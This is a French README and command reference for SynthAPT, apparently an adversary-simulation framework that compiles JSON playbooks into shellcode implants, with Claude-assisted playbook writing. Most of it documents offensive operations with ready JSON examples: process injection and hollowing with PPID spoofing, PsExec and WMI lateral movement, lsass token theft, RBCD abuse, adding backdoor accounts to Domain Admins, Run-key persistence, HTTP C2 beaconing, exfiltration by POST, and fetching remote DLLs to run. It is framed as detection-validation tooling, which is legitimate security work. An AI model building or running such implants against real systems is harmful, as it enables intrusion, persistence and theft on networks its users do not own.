Cadre de simulation d'adversaire basé sur des playbooks qui compile des chemins d'attaque définis en JSON en charges utiles de shellcode indépendant de la position pour valider les détections avancées et les agents d'investigation basés sur l'IA.

SynthAPT est un framework de simulation d'adversaires basé sur des playbooks pour reproduire des chemins d'attaque complexes. Il est conçu pour valider les détections avancées et les agents d'investigation basés sur l'IA. L'idée centrale est que le comportement des malwares peut être exprimé en JSON et compilé en un malware fonctionnel, permettant un développement rapide de scénarios réalistes à l'aide de LLMs.

L'implant central est une charge utile de shellcode pilotée par un interpréteur de playbook. Un playbook prédéfinit l'intégralité du chemin d'attaque et l'implant le suit, se déplaçant dans l'environnement via l'injection de processus, le mouvement latéral, etc. Chaque implant apparaît comme un thread indépendant avec son propre jeu d'instructions, de sorte que les attaques multi-étapes (par exemple, accès initial → élévation de privilèges → mouvement latéral → exfiltration) sont exprimées sous forme de graphe d'implants coopérants, tous définis à l'avance dans le playbook. Cela présente trois avantages majeurs :

Si vous ne souhaitez pas utiliser la version précompilée, vous pouvez le compiler comme suit :
Construire avec cargo make:```bash
cargo make build
./target/release/synthapt
Cela compilera le shellcode et l'éditeur.
Exécuter SynthAPT sans aucune commande vous amènera dans l'éditeur. Vous pouvez fournir une clé API Claude et voir les modifications pendant que vous interrogez.```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
Si vous souhaitez utiliser un autre LLM ou un abonnement, vous pouvez exécuter `synthapt export-skill` et utiliser cela avec n'importe quelle configuration de codage que vous avez.
Cela devrait produire un JSON playbook. Compilez-le en un payload avec la commande compile :```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Les constantes peuvent être définies comme des chaînes, des objets hexadécimaux ou des objets base64 :```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
Fin de l'ensemble de tâches. Ajouté automatiquement par le compilateur - vous n'avez pas besoin de l'ajouter.
---
### store_result (0x01)
Stocke le résultat de la dernière opération dans une variable.
| Champ | Type | |
|-------|------|-|
| var | u16 | **obligatoire** |```json
{ "op": "store_result", "var": 0 }
Retourne les octets shellcode actuels avec un ID de tâche et/ou une valeur magique optionnelle injectée.
| Champ | Type | |
|---|---|---|
| task | u8 | optionnel |
| magic | u32 hex string or number | optionnel |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
---
### sleep (0x03)
Pause pendant le nombre donné de millisecondes.
| Champ | Type | |
|-------|------|-|
| ms | u32 | **requis** |```json
{ "op": "sleep", "ms": 5000 }
Exécuter une commande via cmd.exe.
| Champ | Type | |
|---|---|---|
| command | string | obligatoire |
| { "op": "run_command", "command": "whoami /all" } |
---
### get_cwd (0x05)
Obtenir le répertoire de travail actuel. Aucun argument.```json
{ "op": "get_cwd" }
Lire un fichier et retourner son contenu.
| Field | Type | |
|---|---|---|
| path | string | obligatoire |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
Écrire des octets dans un fichier.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |
| content | bytes | *optionnel* (fichier vide si omis) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
Affiche le code de statut d'une variable (0 = succès, non nul = erreur).
| Field | Type | |
|---|---|---|
| var | u16 | requis |
| { "op": "check_error", "var": 0 } |
---
### conditionnel (0x09)
Branchement vers différents indices de tâche selon l'état d'une variable.
| Champ | Type | |
|-------|------|-|
| mode | `"data"` ou `"error"` | **obligatoire** |
| var1 | u16 | **obligatoire** |
| var2 | u16 | *optionnel* (compare deux variables au lieu d'une seule vérification) |
| true | u16 | **obligatoire** (index de tâche si condition est vraie) |
| false | u16 | **obligatoire** (index de tâche si condition est fausse) |
`true_target` et `false_target` sont acceptés comme alias pour `true` et `false`.
Modes à une variable :
- `"data"` — vrai si var1 a des données non vides
- `"error"` — vrai si le statut de var1 est 0 (succès)
Modes à deux variables (var2 présent) :
- `"data"` — vrai si les données de var1 sont égales aux données de var2
- `"error"` — vrai si le code d'erreur de var1 est égal au code d'erreur de var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
Définir une variable sur une valeur littérale.
| Field | Type | |
|---|---|---|
| var | u16 | obligatoire |
| data | bytes | optionnel (vide si omis) |
Les valeurs littérales de chaîne et hex/base64 sont stockées avec un préfixe de résultat de 5 octets afin qu'elles ressemblent à des résultats d'opération normaux lors de la lecture. Les références de variable ($n) et de constante (%n) sont transmises telles quelles.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
### print_var (0x0B)
Affiche le contenu d'une variable vers stdout (débogage). Omettez `var` pour afficher le dernier résultat de l'opération.
| Field | Type | |
|-------|------|-|
| var | u16 | *optionnel* (affiche le dernier résultat si absent) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
Saut inconditionnel vers un index de tâche dans l'ensemble de tâches courant.
| Field | Type | |
|---|---|---|
| target | u16 | obligatoire |
| { "op": "goto", "target": 2 } |
### migrate (0x0D)
Injecter un shellcode dans un processus correspondant à une chaîne de recherche ou un PID.
| Champ | Type | |
|-------|------|-|
| task_id | u8 | **obligatoire** |
| search | chaîne ou nombre | *optionnel* (vide = pas de recherche ; nombre = PID cible) |
| magic | chaîne hexadécimale u32 ou nombre | *optionnel* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
Liste les processus en cours. Renvoie des lignes séparées par des tabulations : pid\timage\tcmdline\n. Aucun argument.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Charger une constante dans le dernier résultat. Accepte `index` ou `const_idx` comme nom de champ.
| Champ | Type | |
|-------|------|-|
| index | u16 | **Obligatoire** |```json
{ "op": "get_const", "index": 0 }
Exécute une commande via WMI, éventuellement sur un hôte distant.
| Champ | Type | |
|---|---|---|
| command | string | requis |
| host | string | facultatif (vide = localhost) |
| user | string | facultatif (vide = utilisateur actuel) |
| pass | string | facultatif (vide = identifiants actuels) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
Envoyer une requête HTTP/S.
| Champ | Type | |
|--------|--------|-----------------------|
| host | string | **obligatoire** |
| method | string | *optionnel* (défaut : `"GET"`) |
| port | u16 | *optionnel* (défaut : `80`) |
| path | string | *optionnel* (défaut : `"/"`) |
| secure | bool | *optionnel* (défaut : `false`) |
| body | bytes | *optionnel* (vide si omis) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
Lance un processus suspendu, injecte du shellcode et le reprend.
| Field | Type | |
|---|---|---|
| image | string | requis |
| task_id | u8 | requis |
| pipe_name | string | optionnel (tube nommé pour capturer la sortie, sans le préfixe \\.\pipe\) |
| search | string | optionnel (nom de processus/ligne de commande pour usurper le PPID) |
| no_kill | bool | optionnel (par défaut : false — le processus est tué après l'injection) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
---
### redirect_stdout (0x13)
Redirige stdout vers un fichier ou un tube nommé. La sortie ultérieure de `run_command` y est redirigée.
| Champ | Type | |
|-------|------|-|
| path | string | **requis** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
Démarrer un serveur TCP qui sert du shellcode aux clients qui se connectent. Chaque client reçoit une copie avec une valeur magique qui s'incrémente.
| Champ | Type | |
|---|---|---|
| port | u16 | obligatoire |
| magic_base | u32 chaîne hexadécimale ou nombre | optionnel |
| { "op": "shellcode_server", "port": 8080 } | ||
| { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" } |
---
### resolve_hostname (0x15)
Résout un nom d'hôte en une adresse IPv4 (chaîne).
| Champ | Type | |
|-------|------|-|
| hostname | string | **requis** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
Copie un binaire vers un hôte distant via SMB et l'exécute en tant que service (mouvement latéral de type PsExec).
| Champ | Type | |
|---|---|---|
| target | string | requis (nom d'hôte ou IP) |
| service_name | string | requis |
| display_name | string | requis |
| binary_path | string | requis (chemin sur l'hôte distant) |
| service_bin | bytes | requis (données binaires à écrire) |
| { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" } |
---
### generate_exe (0x17)
Génère un exécutable PE avec le shellcode et le bytecode actuels intégrés.
| Champ | Type | |
|-------|------|-|
| task_id | u8 | **requis** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
Exécute un fichier d'objet Beacon (BOF).
| Champ | Type | |
|---|---|---|
| bof_data | octets | obligatoire |
| entry | chaîne | facultatif (défaut : "go") |
| inputs | octets | facultatif (arguments BOF, vide si omis) |
| { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" } | ||
| { "op": "run_bof", "bof_data": "$0" } |
---
### query_ldap (0x19)
Interroge un annuaire LDAP.
| Champ | Type | |
|-------|------|-|
| base | string | **obligatoire** (DN de base) |
| filter | string | **obligatoire** |
| scope | u8 | *optionnel* (par défaut: `2` = sous-arbre; `0` = base, `1` = un niveau) |
| attribute | string | *optionnel* (vide = retourne tous les attributs) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
Définit un attribut Active Directory sur une valeur de chaîne.
| Champ | Type | |
|---|---|---|
| dn | string | requis |
| attr | string | requis |
| value | string | requis |
| { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" } |
---
### set_ad_attr_bin (0x1B)
Définit un attribut Active Directory sur une valeur binaire. Passez une valeur vide pour supprimer l'attribut.
| Field | Type | |
|-------|------|-|
| dn | string | **requis** |
| attr | string | **requis** |
| value | bytes | **requis** (vide = supprimer l'attribut) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
Scanne les ports TCP sur une ou plusieurs cibles. Renvoie des lignes host\tport\n pour les ports ouverts uniquement.
| Field | Type | |
|---|---|---|
| targets | string | obligatoire (adresses IP, CIDR, plages ou noms d'hôte séparés par des virgules ; alias : host) |
| ports | string | obligatoire (ports ou plages séparés par des virgules, ex. "22,80,443,8000-8100") |
| { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" } | ||
| { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" } |
---
### set_user_password (0x1D)
Définir le mot de passe d'un utilisateur local ou de domaine via NetUserSetInfo.
| Champ | Type | |
|-------|------|-|
| username | string | **obligatoire** |
| password | string | **obligatoire** |
| server | string | *optionnel* (vide = machine locale) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
Ajouter un utilisateur à un groupe local via NetLocalGroupAddMembers.
| Field | Type | |
|---|---|---|
| group | string | obligatoire |
| username | string | obligatoire |
| server | string | optionnel (vide = machine locale) |
| { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" } | ||
| { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" } |
---
### remove_user_from_localgroup (0x1F)
Supprimer un utilisateur d'un groupe local via NetLocalGroupDelMembers.
| Champ | Type | |
|-------|------|-|
| group | string | **obligatoire** |
| username | string | **obligatoire** |
| server | string | *optionnel* (vide = machine locale) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
Rechercher la chaîne SID d'un utilisateur via LookupAccountName.
| Field | Type | |
|---|---|---|
| username | string | obligatoire |
| server | string | optionnel (vide = machine locale) |
Retourne une chaîne SID, par ex. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Ajouter un utilisateur à un groupe de domaine via NetGroupAddUser.
| Champ | Type | |
|-------|------|-|
| group | string | **obligatoire** |
| username | string | **obligatoire** |
| server | string | *optionnel* (vide = DC local) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
Supprime un utilisateur d'un groupe de domaine via NetGroupDelUser.
| Field | Type | |
|---|---|---|
| group | string | obligatoire |
| username | string | obligatoire |
| server | string | optionnel (vide = contrôleur de domaine local) |
| { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" } |
---
### create_rbcd_ace (0x23)
Construisez un ACE binaire pour la délégation contrainte basée sur les ressources. Le résultat convient pour une écriture directe dans `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Champ | Type | |
|-------|------|-|
| sid | string | **obligatoire** (chaîne SID, par ex. de `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
Créer une clé de registre.
| Field | Type | |
|---|---|---|
| key | string | obligatoire (chemin complet, ex. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } |
---
### reg_delete_key (0x25)
Supprimer une clé de registre.
| Champ | Type | |
|-------|------|-|
| key | string | **requis** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
Définir une valeur de registre.
| Champ | Type | |
|---|---|---|
| key | string | obligatoire |
| value_name | string | obligatoire (chaîne vide pour la valeur par défaut) |
| value | bytes | obligatoire |
| value_type | string | facultatif (par défaut : "REG_SZ" ; aussi : REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD) |
| { "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" } | ||
| { "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } } |
---
### reg_query_value (0x27)
Interroge une valeur de registre. Renvoie les octets bruts de la valeur.
| Champ | Type | |
|-------|------|-|
| key | string | **obligatoire** |
| value_name | string | **obligatoire** (chaîne vide pour la valeur par défaut) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
Crée un jeton d'emprunt d'identité via LogonUser et l'emprunte. Le type d'ouverture de session par défaut est 9 (LOGON32_LOGON_NEW_CREDENTIALS), qui utilise les informations d'identification fournies pour les connexions réseau sortantes tout en conservant le jeton local inchangé.
| Champ | Type | |
|---|---|---|
| username | string | obligatoire |
| password | string | obligatoire |
| domain | string | optionnel (vide = groupe de travail ou format UPN) |
| logon_type | u8 | optionnel (par défaut : 9 ; 2 = interactif, 3 = réseau) |
| { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" } | ||
| { "op": "make_token", "username": "[email protected]", "password": "Password1" } | ||
| { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 } |
### impersonate_process (0x29)
Ouvrir un jeton de processus et l'emprunter. Utile pour l'escalade de privilèges ou le vol de jetons latéral.
| Field | Type | |
|-------|------|-|
| search | string | **requis** (correspond au nom de l'image ou à la ligne de commande) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
Activer un privilège sur un jeton de processus.
| Champ | Type | |
|---|---|---|
| privilege | string | obligatoire (alias : priv_name) |
| search | string | optionnel (vide = processus actuel) |
| { "op": "enable_privilege", "privilege": "SeDebugPrivilege" } | ||
| { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" } |
### list_process_privs (0x2B)
Liste les noms de privilèges et leur état activé/désactivé pour un processus. Retourne des lignes `name\tenabled\n` ou `name\tdisabled\n`.
| Champ | Type | |
|-------|------|-|
| search | string | *facultatif* (vide = processus actuel) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
Liste les privilèges sur le jeton du thread actuel. Renvoie le même format que list_process_privs. Aucun argument.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Supprimer un fichier.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
Revenir au jeton de processus original, mettant fin à toute usurpation. Aucun argument.```json { "op": "revert_to_self" }
---
### start_service (0x2F)
Démarrer un service Windows.
| Champ | Type | |
|-------|------|-|
| service_name | string | **obligatoire** |
| target | string | *optionnel* (vide = machine locale) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
Supprimer un service Windows.
| Champ | Type | |
|---|---|---|
| service_name | string | obligatoire |
| target | string | optionnel (vide = machine locale) |
| { "op": "delete_service", "service_name": "MySvc" } | ||
| { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" } |
---
### create_thread (0x31)
Crée un nouveau thread dans le processus actuel exécutant une copie du shellcode. Si `magic` est omis, analyse les tas du processus pour trouver un magic unique qui n'entrera pas en collision avec les instances existantes.
| Field | Type | |
|-------|------|-|
| task | u8 | *optionnel* (omettre ou `255` = même ensemble de tâches que le thread actuel) |
| magic | chaîne hexadécimale u32 ou nombre | *optionnel* (détecté automatiquement si omis) |
> **Avertissement** : omettre `task` exécute le même ensemble de tâches dans un nouveau thread. Si l'ensemble de tâches appelle à nouveau `create_thread`, cela provoque des threads infinis.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
Génère une DLL avec le shellcode actuel intégré. Exécute le shellcode sur DLL_PROCESS_ATTACH et exporte une fonction nommée qui exécute également le shellcode.
| Champ | Type | |
|---|---|---|
| task_id | u8 | requis |
| export_name | string | optionnel (par défaut : "Run") |
| { "op": "generate_dll", "task_id": 2 }, | ||
| { "op": "store_result", "var": 0 }, | ||
| { "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" } |
---
### shell_execute (0x33)
Exécute un fichier en utilisant ShellExecuteEx via COM. Le processus résultant semble être lancé par le shell.
| Champ | Type | |
|-------|------|-|
| path | string | **obligatoire** |
| verb | string | *optionnel* (par exemple `"open"`, `"runas"`) |
| args | string | *optionnel* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extrait une archive ZIP à l'aide du Windows Shell.
| Field | Type | |
|---|---|---|
| path | string | obligatoire (chemin vers le fichier ZIP) |
L'extraction se fait dans un dossier portant le même nom que le fichier ZIP (sans extension) dans le même répertoire.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Exécute un fichier via explorer.exe en tant que processus parent en utilisant COM. Le processus créé semble avoir été lancé par l'utilisateur depuis Explorer.
| Champ | Type | |
|-------|------|-|
| path | string | **requis** |
| verb | string | *optionnel* |
| args | string | *optionnel* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
Charge une DLL dans le processus courant via LoadLibraryW.
| Champ | Type | |
|---|---|---|
| path | string | requis |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } |
---
### pyexec (0x37)
Télécharge une DLL Python depuis une URL (mise en cache en mémoire après le premier téléchargement), puis exécute un script Python. Expose un module `agent` avec des liaisons vers tous les opcodes de l'agent.
| Field | Type | |
|-------|------|-|
| url | string | *optionnel* (URL vers la DLL Python ; vide = utiliser le Python déjà chargé) |
| script | string | *optionnel* (code Python à exécuter ; vide = initialiser sans exécuter) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
Détournement de processus (process hollowing) : lancer un processus légitime en mode suspendu, écraser son point d’entrée avec une shellcode, et reprendre l’exécution.
| Field | Type | |
|---|---|---|
| image | string | obligatoire |
| task_id | u8 | obligatoire |
| search | string | optionnel (nom du processus / ligne de commande à usurper pour le PPID) |
| { "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 } | ||
| { "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" } |
---
### migrate_apc (0x39)
Crée un processus en suspension, alloue de la mémoire RWX, écrit le shellcode, place un APC dans le thread principal, puis reprend l'exécution. Retourne le PID du processus créé.
| Champ | Type | |
|-------|------|-|
| image | string | **requis** |
| task_id | u8 | **requis** |
| magic | u32 hex string or number | *optionnel* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
Enregistre le processus actuel en tant que service Windows en appelant StartServiceCtrlDispatcher. Doit être appelé tôt lorsque le processus est démarré par le Service Control Manager, sinon SCM le tuera après environ 30 secondes. Exécute la communication SCM dans un thread d'arrière-plan afin que l'ensemble des tâches principales se poursuive normalement.
| Champ | Type | |
|---|---|---|
| service_name | string | requis (alias: name) |
| { "op": "register_service", "service_name": "MySvc" } |
### exit_process (0x3B)
Termine le processus en cours.
| Champ | Type | |
|-------|------|-|
| exit_code | u32 | *optionnel* (par défaut : `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
Lancer un processus en suspension et injecter du shellcode via APC. Similaire à migrate_apc mais avec usurpation de PPID en option.
| Field | Type | |
|---|---|---|
| image | string | obligatoire |
| task_id | u8 | obligatoire |
| search | string | optionnel (nom/commande du processus à partir duquel usurper le PPID) |
| { "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" } |
---
### frida_hook (0x3F)
Télécharge une DLL Frida gadget depuis une URL (mise en cache après le premier téléchargement) et installe un hook JavaScript.
| Champ | Type | |
|-------|------|-|
| url | string | **requis** |
| script | string | **requis** (JavaScript utilisant l'API Frida) |
| name | string | *optionnel* (nom du hook pour référence ultérieure avec `frida_unhook`) |
| callback_host | string | *optionnel* (hôte vers lequel envoyer les messages `send()` via HTTP POST) |
| callback_port | u16 | *optionnel* |
| batch_size | u32 | *optionnel* (messages par lot HTTP POST ; défaut : `50`) |
| flush_interval | u32 | *optionnel* (intervalle de vidage en ms ; défaut : `5000`) |
Les messages envoyés via `send()` en JavaScript sont soit publiés vers `callback_host:callback_port/frida`, soit écrits sur stdout si aucun callback n'est configuré.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
Décharger un hook Frida. Sans argument, décharge tous les hooks.
| Champ | Type | |
|---|---|---|
| hook_id | i32 | optionnel (ID du hook retourné par frida_hook) |
| name | string | optionnel (nom du hook défini avec le champ name de frida_hook) |
| { "op": "frida_unhook" } | ||
| { "op": "frida_unhook", "hook_id": 1 } | ||
| { "op": "frida_unhook", "name": "my_hook" } |
---
### kill (0x42)
Tuer une instance d'agent en cours d'exécution par sa valeur magique.
| Champ | Type | |
|-------|------|-|
| magic | u32 hex string or number | *optionnel* (omettre pour tuer l'instance actuelle) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
Connect to an HTTP C2 server and poll for bytecode tasks.
| Champ | Type | |
|---|---|---|
| host | string | facultatif |
| port | u16 | facultatif (par défaut: 80) |
| interval | u32 | facultatif (intervalle d'interrogation en ms ; par défaut: 5000) |
| secure | bool | facultatif (par défaut: false) |
| agent_id | string | facultatif (identifiant envoyé dans les requêtes de beacon) |
| { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true } |
---
### mem_read (0x44)
Lire des octets bruts depuis une adresse mémoire dans le processus courant ou un processus distant.
| Field | Type | |
|-------|------|-|
| address | hex string | **requis** (adresse sous forme de caractères hexadécimaux, e.g. `"7FFE0030"` ; le préfixe `0x` est supprimé automatiquement) |
| size | u32 | **requis** |
| pid | u32 | *optionnel* (processus distant ; omettre pour une lecture locale) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
Parcourir la PEB LDR InLoadOrderModuleList et renvoyer les modules chargés. Renvoie une Vec<ProcessResult<ModuleInfo>> sérialisée en postcard.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optionnel (omettre = processus actuel ; "all" = tout processus accessible) |
| { "op": "dll_list" } | ||
| { "op": "dll_list", "pid": 1234 } | ||
| { "op": "dll_list", "pid": "all" } |
---
### mem_map (0x46)
Énumérer les régions de mémoire virtuelle via `VirtualQuery`/`VirtualQueryEx`. Retourne sérialisé en postcard `Vec<ProcessResult<MemRegion>>`. Ignore les régions FREE ; les régions IMAGE incluent le nom du module et la section PE.
| Champ | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *optionnel* (omettre = processus actuel ; `"all"` = tous les processus accessibles) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
Recherche les régions mémoire privées exécutables engagées — indicateurs de shellcode injecté ou de DLL réflexives. Ignore les pages entièrement nulles et note les régions avec des en-têtes MZ. Retourne un Vec<ProcessResult<MalfindHit>> sérialisé en postcard.
| Champ | Type | |
|---|---|---|
| pid | u32 ou "all" | optionnel (omis = processus actuel ; "all" = tous les processus accessibles) |
| { "op": "malfind" } | ||
| { "op": "malfind", "pid": 1234 } | ||
| { "op": "malfind", "pid": "all" } |
---
### ldr_check (0x48)
Référencer de manière croisée les régions mémoire IMAGE par rapport à la liste des modules PEB pour trouver les DLL non liées ou cachées — régions avec des en-têtes MZ non présentes dans `InLoadOrderModuleList`. Retourne `Vec<ProcessResult<LdrCheckHit>>` sérialisé en postcard.
| Champ | Type | |
|-------|------|-|
| pid | u32 ou `"all"` | *optionnel* (omis = processus actuel ; `"all"` = tout processus accessible) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Comme tous les frameworks, l'implant a une empreinte mémoire distincte, et de nombreuses chaînes en clair qui le trahissent. Vous pouvez construire des signatures à partir du fichier shellcode de base : out/shellcode.bin
Ce projet est une extension de Rustic64Shell par safedev.
La DLL Python chargée de manière réflexive provient de farfella